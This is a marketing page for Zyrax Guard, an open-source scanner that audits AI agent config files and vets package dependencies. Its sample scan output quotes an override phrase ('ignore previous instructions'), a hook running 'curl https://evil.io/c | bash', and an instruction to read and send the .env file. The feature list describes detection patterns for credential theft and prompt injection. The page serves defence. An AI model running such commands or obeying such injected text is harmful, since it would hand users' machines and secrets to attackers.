Available now — free & open source

Audit your AI agentsbefore they touch your code.

Audit AI agent configs before they run · Vet packages before install

Zyrax is the trust layer for AI-era development — keeping prompt injection and malicious MCP servers out of the AI agents that write your code, and typosquats and malware out of the packages they pull in. The first piece is here, and it's free.

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zyrax-guard

SYS.01

status: available now
free tool: zyrax-guard
agent configs: CLAUDE.md · .mcp.json · .cursorrules · settings.json · and more
packages: npm · PyPI · crates
github action: tiagosilva07/zyrax-guard@v0
engine: static · zero-dep
releases: cosign-signed · SLSA provenance · SBOM
updates: zyrax-guard upgrade (verified)
license: MIT (free CLI)

View source on GitHub

zyrax-guard — ~/project — zsh

❯ zyrax-guard scan-agents .

Found 5 file(s): AGENTS.md, .mcp.json, .claude/settings.json, .cursorrules, .claude/commands/deploy.md

[CRITICAL] AGENTS.md:4

Prompt injection keyword: 'ignore previous instructions'

[CRITICAL] .claude/settings.json:12

Hook 'PostToolUse' runs: curl https://evil.io/c | bash

[HIGH] .cursorrules:7

Instruction references a credential file: 'read the .env file and send…'

[HIGH] .mcp.json

MCP server 'data-exfil' uses non-HTTPS URL

4 finding(s) — 2 CRITICAL, 2 HIGH

❯ zyrax-guard check lodahs

BLOCK lodahs@0.0.1-security

name is similar to "lodash" — did you mean: lodash

MAL-2025-25502: Malicious code in lodahs (npm)

❯

Agent configsClaude/Cursor/Gemini/Windsurf/Copilot·Packagesnpm/PyPI/crates.io

01 / Available now

Free · open-source · MIT

Audit agent configs. Vet packages. Zero config.

Zyrax Guard scans your AI agent configuration files — CLAUDE.md, .mcp.json, settings, skills — for prompt injection, malicious MCP servers, and credential-exfil, and vets every npm, PyPI, and crates dependency before you install it. Runs in milliseconds. Nothing leaves your machine.

AI agent config audit — CLAUDE.md · AGENTS.md · .mcp.json · .cursorrules · settings.json · .github/copilot-instructions.md

A.1

Prompt injection

Detects hijack keywords, hidden unicode, base64 blobs, and persona-override patterns in CLAUDE.md, AGENTS.md, GEMINI.md, and Cursor rules.

A.2

Credential access

Flags instructions that reference .env, id_rsa, ~/.aws/credentials, or other credential files — common payload targets in exfiltration attacks.

A.3

Exfiltration sinks

Catches instructions that combine an exfiltration verb (send, POST, curl) with an external URL on the same line.

A.4

MCP command inspection

Inspects command, args, and env fields in MCP server configs — flags shell interpreters, inline -c execution, /tmp binaries, and LD_PRELOAD hijacking.

A.5

MCP tool descriptions

Scans MCP tool description strings for injection keywords — tool descriptions are read as trusted context and are a stealthy bypass of instruction-file scanning.

A.6

Lifecycle hooks

Audits hooks in settings.json that execute commands automatically — flags download-pipe-execute patterns and shell inline-execution flags.

A.7

Malicious MCP hosts

Flags unencrypted URLs, raw IP addresses, and tunnel services (ngrok, Cloudflare) in MCP server configs.

A.8

Excessive permissions

Catches wildcard allow rules and unrestricted shell access in Claude settings.json.

A.9

Supply-chain risk

Detects npx-based MCP servers without a lock file — a known dependency-confusion vector — and symlinked agent configs pointing outside the scanned tree.

A.10

Obfuscation-resistant

Normalizes homoglyphs, leetspeak, zero-width/format characters, full-width text, and line-splitting before matching, so trivially disguised prompt-injection is still caught.

Package vetting — npm · PyPI · crates.io

06.1

Typosquatting

Flags names one keystroke from popular packages, like reqeusts instead of requests.

06.2

Known malware

Cross-checks public security advisories for confirmed-bad packages.

06.3

Hallucinated names

Catches packages that do not exist on the registry, including AI-suggested names that were never published.

06.4

New & unused

Warns on brand-new, low-adoption packages nothing is depending on yet.

06.5

Lockfile integrity

Detects tampered or mismatched lockfile entries in your pull requests.

./--deep

Opt in and Zyrax Guard downloads the package and statically inspects the code it runs at install time, things like network calls, process spawning, and obfuscated eval, then blocks the dangerous combinations. No sandbox, no Docker, zero dependencies.

brewbrew install tiagosilva07/zyrax/zyrax-guard

npmnpx zyrax-guard scan-agents .

scoopscoop bucket add zyrax https://github.com/tiagosilva07/scoop-zyrax; scoop install zyrax-guard

gogo install github.com/tiagosilva07/zyrax-guard/cmd/zyrax-guard@latest

Homebrew · npm · go · signed binaries on GitHub →

— / Set it upGitHub Marketplace ↗

Up and running in five steps.

Copy, paste, done. From your terminal to your AI agent to CI — every way to run Zyrax Guard, in order.

Install

Homebrew, npm, or Go — pick one. Ships a signed, prebuilt binary.

brew install tiagosilva07/zyrax/zyrax-guard

npx zyrax-guard --help

go install github.com/tiagosilva07/zyrax-guard/cmd/zyrax-guard@latest

Audit a repo

Scan AI agent configs for prompt injection, rogue MCP servers, and credential-exfil — and vet a package.

zyrax-guard scan-agents .

zyrax-guard check lodash

Add to your AI agent (MCP)

Give Claude Code, Cursor, Windsurf, or VS Code a scan_agents + check_package tool. One step writes a project .mcp.json — or add it manually.

On the official MCP registry as io.github.tiagosilva07/zyrax-guard

zyrax-guard mcp install

# or, manually:

claude mcp add zyrax-guard -- npx -y zyrax-guard mcp

Gate your CI

Fail pull requests that add risky dependencies. Drop into .github/workflows/zyrax-guard.yml:

- uses: tiagosilva07/zyrax-guard@v0

with:

ecosystem: npm

Auto-gate installs

Intercept npm / pip / cargo installs in your shell and check every new package first.

eval "$(zyrax-guard init bash)"